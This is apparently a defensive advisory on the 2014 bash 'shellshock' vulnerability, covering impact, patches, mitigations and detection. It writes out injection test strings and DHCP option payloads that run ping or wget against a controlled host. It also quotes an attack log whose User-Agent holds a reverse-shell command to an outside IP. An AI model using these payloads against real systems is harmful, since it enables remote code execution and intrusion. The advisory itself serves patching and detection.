On Wednesday (Sept. 24th), a vulnerability in bash was announced, that was originally found by Stephane Schazelas. The vulnerability allows for arbitrary code execution in bash by setting specific environment variables. Later Tavis Ormandy released a second exploit that will work on patched systems. Demonstration that the patch released yesterday is incomplete. The vulnerability has now become known as "shellshock". Two CVE numbers have been assigned. The first CVE (CVE-2014-6271) was assigned for the vulnerability discovered by Stephane, the second CVE (CVE-2014-7169) was assigned to the modified injection technique discovered by Tavis. [fsf][cve1][cve2]
What is the impact of the vulnerability?
At first, the vulnerability doesn't look all that serious. Executing commands is what bash is used for. But in this case, code can be executed without the user's intent by setting an environment variable.
The most problematic scenario is bash scripts executed via cgi-bin. The CGI specification requires the web server to convert HTTP request headers supplied by the client to environment variables. If a bash script is called via cgi-bin, an attacker may use this to execute code as the web server.
Other, less likely scenarios involve ssh, which can set environment variables, but they would have to be set on the server in a configuration file. DHCP clients may in some cases execute bash scripts and use environment variables supplied by the server. This case may be exploitable if the user connects to an untrusted DHCP server ("cofeehouse wifi"). [tru]
Should I apply the patch?
Yes. The initial patch released only fixed one aspect of the vulnerability. However, a better patch was released for many Linux systems yesterday (Thursday 25th). Please make sure you apply this updated patch to mitigate this vulnerability. [ubu]
What are my other options? What else should I do?
Since the patch is incomplete, you should try to implement additional measures to protect your systems. Various Intrusion Detection System (IDS) and Web Application Firewall (WAF) vendors have released rules to block exploitation. Realize that these rules may be incomplete as well. Many rules I have seen so far just look for the string "() {" which was present in the original proof of concept exploit, but could easily be changed for example by adding more or different white spaces.
You could switch your default shell to an alternative like ksh or sh. But this,will likely break existing scripts. Different shells use slightly different syntax.
On many embedded systems you may already use an alternative shell ("busybox") that is not vulnerable.
Another option to limit the impact of the vulnerability is SELinux, but by default, it does not prevent the initial exploit. [sel]
How do I find vulnerable systems?
If you can log on to the system you can use one of these test strings:
To check if you are patched, you can use the original test string:
env x='() { ;;}; echo vulnerable' sh -c "echo this is a test"If you are patched, but want to demonstrate that you are still vulnerable, you
can use this command:
env X='() { (a)=>\' sh -c "echo date";This command will return an error on a patched system, but it will still
create an empty file called "echo".
There are various modules for vulnerability scanners to search for vulnerable systems. You can also use a quick Google search for likely vulnerable web servers:
filetype:sh inurl:cgi-bin site:[your domain]
This Google check my return shell scripts that use shells other then bash.
Be careful to check web servers in embedded systems like routers as they may not only run bash scripts, but they may do so at elevated privileges. Many empeded systems use busybox, not bash, and are save. But if bash is used, these systems may be vulnerable.
Other vulnerable systems include F5 load balancers and OS X (Apple) systems [f5-1][f5-2][osx]. Cisco published two articles outlining how it's devices are affected [cisco1][cisco2]
It also may be possible to find exposed systems through DHCP:
From one of our readers (Big Shout out and thank you to Patrick!)
Using DHCP Options, you may be able increase detection of systems that are exposed to the bug. At first Patrick's team was using DHCP option 114, then dialog revealed that option 95 might serve as a better 'option' (pun intended).
The Solution:
option option-114 = "() { ignored;}; ping -c 1 IP.THAT.YOU.CONTROL";and running a packet sniffer on IP.THAT.YOU.CONTROL.
It's most reliable and least intrusive (1 ICMP packet).
Unless ICMP filtering is in place in which case, use...
option option-114 = "() { ignored;}; wget -O /dev/null
http://IP.THAT.YOU.CONTROL/ShellShocked";will also work on systems that have wget. Just tail logs for 404s
NOTE!: option-114 is used by VoIP (provisioning URL) so thread carefully on
telecomms networks!
This DHCP solution is experimental so be careful!
Are systems already being exploited?
We have seen reports of scans for the vulnerability. The cgi-bin exploit is used very agressively and we already have seen multiple attacks against our own web servers.
Scans also started against some well known cgi-bin scripts that are part of larger packages. For example cPanel's /cgi-sys/defaultwebpage.cgi. [vol]
We do see numerous exploit attempts against our own (non-vulnerable) web servers, and are receiving many reports of exploit attempts. For example, here a log entry in which the User-Agent was set to the exploit value:
178.86.28.56 - - [25/Sep/2014:21:24:54 +0000] "GET /iscfavicon.ico HTTP/1.1" 200 1406 "-" "() { :; }; bash -i >& /dev/tcp/178.86.28.56/9999 0>&1" "-"
We are now seeing reports of worms in the wild exploiting telnet on DoD networks, through the BotNet WopBot [worm]. See resources for details.
How is exploitation happening?
There are currently 3 different avenues that are being explored as most likely to expose the vulnerability:
HTTP: cgi-bin scripts using bash. They do not necessarily have to use a /cgi-bin/ URL . Different directories can be configured to expose scripts to cgi-bin. This vulnerability is also not limited to Apache.CGI scripts writen in other languages (perl, python) may be vulnerable if they call bash [see comment below]
DHCP: This exploit vector is a tad harder to reach, but can attack clients as well as servers. In Linux, the dhcp clients sets environment variables based on data supplied by the DHCP server. The client then calls various bash scripts to adjust network configurations. A malicious DHCP server may provide crafted data that will then lead to code execution via the bash vulnerability. This is in particularly critical as these scripts are executed as root.
A metasploit module has been released [met] and the exploit is easily performed using standard DHCPservers [tru].
SSH: In ssh, the user may set environment variables when connecting to an ssh server. These can then be used to bypass shell restrictions imposed on the user.
[cisco1] http://tools.cisco.com/security/center/mcontent/CiscoSecurityAdvisory/cisco-sa-20140926-bash
�??[cisco2] http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
[cve1]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
�??[cve2]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169
[f5-1] https://twitter.com/ashk4n/status/515121090688196609
�??[f5-2] https://devcentral.f5.com/articles/cve-2014-6271-shellshocked
[fsf] https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
�??[met] https://github.com/rapid7/metasploit-framework/pull/3891
[osx] http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-shellshock-the-remote-exploit-cve-2014-6271-an/146851#146851
[sel] http://danwalsh.livejournal.com/71122.html
[tru] https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
[ubu] http://www.ubuntu.com/usn/usn-2363-1/
[vol] http://www.volexity.com/blog/?p=19
[snort] https://www.snort.org/advisories/vrt-rules-2014-09-24.html
[meta] https://github.com/rapid7/metasploit-framework/pull/3891
[deb] https://security-tracker.debian.org/tracker/CVE-2014-7169
[worm] http://www.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod-networks.aspxCVE-2014-7169